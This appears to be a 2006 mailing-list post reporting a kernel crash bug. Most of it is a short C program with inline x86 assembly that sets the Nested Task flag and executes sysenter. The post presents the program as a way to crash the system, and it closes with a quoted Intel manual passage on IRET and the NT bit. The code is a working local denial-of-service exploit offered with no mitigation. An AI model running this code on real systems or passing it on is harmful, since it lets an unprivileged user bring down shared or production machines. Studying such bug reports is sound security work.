Sysenter crash with Nested Task Bit set

From: In Cognito
Date: Sun Sep 17 2006 - 20:10:36 EST


Here's a way to heat up your cpu and crash the rest of the system too:

main(){
asm("pushf\n"
"popl %eax\n"
/* enable the NT bit */
"orl $0x4000, %eax\n"
"pushl %eax\n"
"popf\n"

"sysenter\n"
);
return 0;
}

"If NT equals 1, IRET reverses the operation of a CALL or INT that
caused a task switch. The updated state of the task executing IRET is
saved in its task state segment. If the task is reentered later, the
code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual
-
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